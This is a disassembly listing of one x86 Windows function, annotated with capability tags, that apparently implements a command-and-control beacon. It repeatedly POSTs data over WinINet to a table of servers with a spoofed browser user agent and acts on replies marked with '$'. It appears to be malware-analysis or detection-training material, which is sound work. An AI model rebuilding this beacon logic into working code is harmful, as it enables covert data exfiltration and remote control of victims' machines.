Function at 0x4027f0
Capabilities:
Connect to http server
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x2a0
mov dword [ebp + 0x5c], 0x80
mov eax, dword [ebp + 0x5c]
push eax
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp + 0x5c]
push edx
lea eax, [ebp - 0x28]
push eax
push 0
call sub.urlmon.dll_ObtainUserAgentString
mov ecx, 1
imul edx, ecx, 0
movsx eax, byte [ebp + edx - 0x28]
test eax, eax
jne 0x402843
push str.Mozilla_4.0_compatible__MSIE_7.0b__Windows_NT_6.0_
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [0x407af4], eax
cmp dword [0x407af4], 0
jne 0x402870
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402843
mov dword [ebp + 0x74], 0
mov dword [ebp + 0x70], 0
mov dword [ebp + 0x58], 0
mov dword [ebp + 0x6c], 0
mov eax, 1
test eax, eax
je 0x402ad1
mov ecx, dword [ebp + 0x74]
cmp dword [ecx*4 + 0x406648], 0
jne 0x4028ba
mov dword [ebp + 0x74], 0
mov edx, dword [0x407a94]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 3
push 0
push 0
push 0x50
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax*4 + 0x406648]
push ecx
mov edx, dword [0x407af4]
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0
jne 0x4028f9
mov eax, dword [ebp + 0x74]
add eax, 1
mov dword [ebp + 0x74], eax
mov dword [ebp + 0x70], 0
jmp 0x40288c
push 0
push 0x84200000
push 0
push 0
push 0
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx*4 + 0x406650]
push edx
push str.POST
mov eax, dword [ebp + 0x64]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp + 0x60], eax
cmp dword [ebp + 0x60], 0
jne 0x402948
mov ecx, dword [ebp + 0x74]
add ecx, 1
mov dword [ebp + 0x74], ecx
mov dword [ebp + 0x70], 0
mov edx, dword [ebp + 0x64]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40288c
cmp dword [ebp + 0x58], 1
jne 0x402967
cmp dword [ebp + 0x6c], 0
jne 0x402965
push 0
call fcn.00401cb0
add esp, 4
mov dword [ebp + 0x6c], 1
jmp 0x40297e
cmp dword [ebp + 0x6c], 0
jne 0x40297e
push 1
call fcn.00401cb0
add esp, 4
mov dword [ebp + 0x6c], 1
mov eax, dword [0x407ae8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [0x407ae8]
push ecx
push 0xffffffffffffffff
push str.Content_Type:application_x_www_form_urlencoded
mov edx, dword [ebp + 0x60]
push edx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x402a76
push 0xff
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx*4 + 0x406650]
push edx
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax*4 + 0x406648]
push ecx
push str.http:___s_s
lea edx, [ebp - 0x128]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0xff
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.00401940
add esp, 0xc
lea ecx, [ebp - 0x228]
push ecx
lea edx, [ebp - 0x128]
push edx
call fcn.00402680
add esp, 8
cmp eax, 1
jne 0x402a6f
lea eax, [ebp - 0x228]
mov dword [ebp + 0x68], eax
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x68]
movsx edx, byte [ecx]
cmp edx, 0x24
jne 0x402a66
mov eax, dword [ebp + 0x68]
push eax
call fcn.00405590
add esp, 4
mov dword [ebp + 0x70], 1
mov dword [ebp + 0x58], 1
mov dword [ebp + 0x6c], 0
jmp 0x402a6d
mov dword [ebp + 0x70], 0
jmp 0x402a76
mov dword [ebp + 0x70], 0
mov ecx, dword [ebp + 0x60]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp + 0x64]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp + 0x70], 0
jne 0x402a9b
mov eax, dword [ebp + 0x74]
add eax, 1
mov dword [ebp + 0x74], eax
jmp 0x402acc
mov ecx, dword [0x407ae8]
push ecx
push 8
mov edx, dword [0x407a8c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x407a7c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
mov ecx, dword [0x407a78]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40288c
add ebp, 0x78
mov esp, ebp
pop ebp
ret